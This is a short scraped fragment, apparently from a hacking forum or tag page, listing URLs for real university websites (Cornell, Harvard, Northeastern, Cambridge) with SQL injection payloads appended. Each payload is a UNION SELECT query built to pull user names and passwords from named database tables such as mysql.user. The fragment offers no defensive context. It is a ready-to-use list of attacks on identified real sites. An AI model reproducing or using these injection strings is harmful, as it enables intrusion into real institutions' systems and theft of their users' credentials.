Separate names with a comma.
http://rmc.library.cornell.edu/presidents/exhibition.php?sec=1+union+select+1,concat(user,0x3a,password),3%20from%20mysql.user--
Berkeley.edu...
http://cbr.med.harvard.edu/page.php?branch=newsroom&page=releases&type=9&year=2004&id=61%20union%20all%20select%201,2,3,4,5,6,7-- version:...
http://www.northeastern.edu/gradstudies/stories/index.php?id=-86+union+select+1,concat(username,0x3a,password),3,4,5,6+from+coop_evaluation.users--...
http://www.corpus.cam.ac.uk/jcr/news_article.php?id=99%20and%201=2%20union%20select%20 51,concat(ID,0x3a,CPASS),4,3,2,1%20from%20jcr.regusers--...
